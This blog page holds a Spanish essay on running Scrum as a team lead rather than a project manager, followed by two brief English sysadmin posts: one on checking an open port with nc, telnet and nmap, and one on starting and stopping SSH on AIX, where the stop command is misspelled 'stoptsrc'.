    Afortunadamente me puedo considerar lo suficientemente técnico para entender las partes complicadas de un proyecto de software pero lo suficientemente imparcial para entender las necesidades a un nivel de negocio, sin embargo, si parte de las personas involucradas en la planeación de cada iteración son personas que carecen de entendimiento y conocimiento técnico entonces es necesario que alguien sea capaz de explicar a estos miembros las implicaciones de tareas muy técnicas a un nivel relevante para ellos, es decir, el impacto a nivel de producto o de operatividad de negocio, riesgos o ventajas que una decisión técnica implica; puede ser que signifique más tiempo para entregar funcionalidad que se requiere inmediatamente, introducir inestabilidad en producción, incompatibilidad con la integración de un tercero, etc.

    Por ejemplo, recientemente en una de las planeaciones de nuestros sprints un miembro del equipo por parte del cliente requirió cierta funcionalidad que tenía la más alta prioridad, después de haberla estimado entre el equipo se me hizo la siguiente pregunta:

    ¿Cuándo puede estar listo para probarse esto? ¿Miércoles o Jueves?

    A pesar de haber estimado la tarea no tendríamos suficiente tiempo para entregarla esa semana. El razonamiento del cliente fue que “particularmente esta funcionalidad es crítica para nosotros y necesitamos entregarla esta semana” a lo que contesté:

    Sería similar a pedirle a una mujer que es urgente que tenga un bebé y que lo necesitamos en 4 meses

    Hay cosas que no se pueden apresurar, tal como la reproducción y desarrollo embrionario. De igual manera, ciertos factores en el desarrollo de software impiden que tengamos entregables en una fecha específica solo porque se le aumente prioridad a la tarea o se trate de agilizar su desarrollo poniendo a todo el equipo de trabajo en ella. El desarrollo ágil no tiene nada que ver con acelerar las cosas, tiene que ver con organización. Si alguien en el equipo es incapáz de transmitir esta información de una manera no técnica a quien requiere dichos cambios entonces estamos fritos, y, usualmente, para que esto suceda, debemos contar en el equipo con un administrador de proyecto que entienda ambas partes.

    Because creating good software is so much about technical decisions and so little about management process, I believe that there is very little place for non-technical managers in any software development organisation. If your role is simply asking for estimates and enforcing the agile rituals: stand-ups, fortnightly sprints, retrospectives; then you are an impediment rather than an asset to delivery

    La parte clave del texto citado arriba es: “Crear buen software tiene mucho que ver con decisiones técnicas y muy poco sobre procesos administrativos

    Tal cual: La clave está en tomar las decisiones técnicas adecuadas que nos permitan entregar lo que el cliente necesita, siempre y cuando existan las condiciones técnicas para hacerlo o de lo contrario hacérselo saber al cliente para que este tome la decisión pertinente.

    Cómo mejorar el flujo de trabajo en SCRUM

    A pesar de seguir experimentando con esta metodología de trabajo y puliendo nuestro flujo interno he tenido suficientes experiencias para discernir cuando estamos haciendo algo bien y cuando estamos haciendo algo mal, pero sobre todo, hacer ejercicio de auto-evaluación para poder ayudar a los miembros del equipo, labor más importante de mi puesto.

    Estos son algunos de los puntos que consideraría claves para mejorar el flujo laboral basado en SCRUM:

    Ser un “team lead“, no un “project manager

    La diferencia es grande. Pero si ustedes como en mi caso están encargados de “administrar el proyecto” es mejor comenzar a ver las cosas de otra manera. La psicología es poderosa y verse así mismo como administrador envenena el entorno y nos vuelve inútiles hacia nuestros compañeros. Por otra parte si tratamos de convertirnos en líderes de equipo significa que tomaremos un rol más importante que administrar: ayudar. Como se titula este artículo:  “You are not a software development manager, you are software helper” la única misión que deberíamos tener en mente es ayudar al equipo de desarrollo a cumplir las metas y objetivos, nada más. Esto me ha costado entenderlo pero la ayuda y feedback del equipo han sido de mucha ayuda. Pedir retroalimentación de los miembros de nuestro equipo constantemente y conocer sus necesidades nos ayudará a pulir este, nuestro rol.

    Involucrar a todas las personas necesarias

    Planeación de sprint entre desarrolladores solamente no es planeación. Estimación sin las personas de calidad no es estimación. Priorizar tareas sin contar con participación del cliente será inútil. Es elemental que todos los roles estén involucrados siempre: cliente, desarrolladores, calidad, team leads, etc. Cada una de estas personas juega un papel importante en scrum ya sea como team member, scrum master, product owner o stake holder. Cualquier ceremonia o evento de SCRUM que no involucre a todos estos roles no servirá de nada.

    Es también esencial hacer entender a las dos partes (tanto al cliente como al equipo de desarrollo) la importancia de su participación y hacerlos co-responsables del proceso. La adecuada ejecución de SCRUM no es solo responsabilidad del “administrador del proyecto” o del cliente, es de todos.

    Pulir el flujo de trabajo

    En algunas ocasiones aun cuando seguimos al pie de la letra SCRUM los resultados no son inmediatos. Para ello es necesario ir puliendo y acoplando el flujo de trabajo para que sea compatible con SCRUM y no lo contrario. Por ejemplo, uno de los inconvenientes que ocurren con mas frecuencia durante nuestros daily standups es dificultad para transmitir de manera sintentizada información sobre las actividades de cada desarrollador en un lapso corto de tiempo. Para ello he recomendado a cada uno de los desarrolladores tener listas sus notas sobre lo que deben discutir día a día pero solo con los puntos importantes, es decir: ¿En qué estoy trabajando? ¿Cuál es el avance o estatus actual?, proyección de las siguientes tareas, etc. Ir mejorando cada una de las partes o “rituales” dentro de SCRUM nos ayudará a invertir más tiempo en desarrollar el producto que en administrarlo.

    Colaboración constante con el cliente (y viceversa)

    Este es uno de los puntos críticos: si no se tiene colaboración y comunicación constante de equipo de desarrollo hacia el cliente y viceversa entonces será difícil tener entendimiento de los requerimientos de cada iteración o bien para el cliente será difícil entender obstáculos técnicos al menos en un tiempo saludable para tomar decisiones y revalorizar la importancia de las tareas. Mi regla es simple: si al momento de hacer la estimación de una tarea alguien del equipo no entendió a la perfección lo que se debe desarrollar entonces no podemos estimarla. Tampoco podemos estimar algo que el cliente no puede explicar fácilmente y en su totalidad; si esa unidad de trabajo no es completamente estimable y entendible entonces no debería trabajarse en ella.

    Otro punto clave en la comunicación es que el desarrollador informe al cliente cuando una tarea que se estimó presenta obstáculos o tomará más tiempo de lo acordado. Esto no es un pecado ni una debilidad por parte del programador pero si es necesario informarlo ya que el cliente debe tomar la decisión si se sigue invirtiendo tiempo y capacidad en dicha tarea o se reasignan los recursos.

    Por otra parte cuando sucede lo inverso, es decir, el cliente cambia requerimientos que afectaran algunas tareas o historias ya definidas, es importante notificar al equipo de desarrollo para revalorizar dichas tareas e informar de vuelta al cliente los cambios necesarios.

    Uso de herramientas de apoyo

    Finalmente diría que una de las cosas que más nos ayudaran es el uso de herramientas para administrar el proyecto SCRUM como dashboards digitales, bug trackers, etc. Lo más importante: utilizarlos. Si nadie utiliza las herramientas adecuadamente entonces solo nos estorbarán. Hay que educar tanto al cliente como a los desarrolladores el uso adecuado de estas herramientas para evitar perder más tiempo en depurar la información dentro de la herramienta que lo que nos ayuda para llevar acabo el proyecto; títulos descriptivos, descripciones de tareas con casos de uso y recursos como fotos, textos, wireframes, tags o etiquetas para categorizar, asignación de tarea a las personas adecuadas, etc.

    Viernes 12 de junio de 2015

    Oswaldo Villa

    Oswaldo Villa
    Villatux Blog <--

    Test ports (applications) from command line UNIX

    Commands to test applications (ports open)

    Here you go three commands to test ports open. in this case im testing the port 80 of the site google.com


    nc -v google.com 80

    telnet google.com.mx 80


    nmap google.com.mx -p 80




    Miércoles 10 de junio de 2015

    Oswaldo Villa

    Oswaldo Villa
    Villatux Blog <--

    Start and stop services in AIX (SSH)




    1.First check the status of the service (SSH) giving the below command
    #lssrc -s sshd



    2. Stop the service (SSH) by giving the below command

    #stoptsrc -s sshd 

    3. Start the service (SSH)
    #startsrc -s sshd 

    Note:
    If you want to list all available services on the machine:

    #lssrc -a 

    For more information about the commands:
    man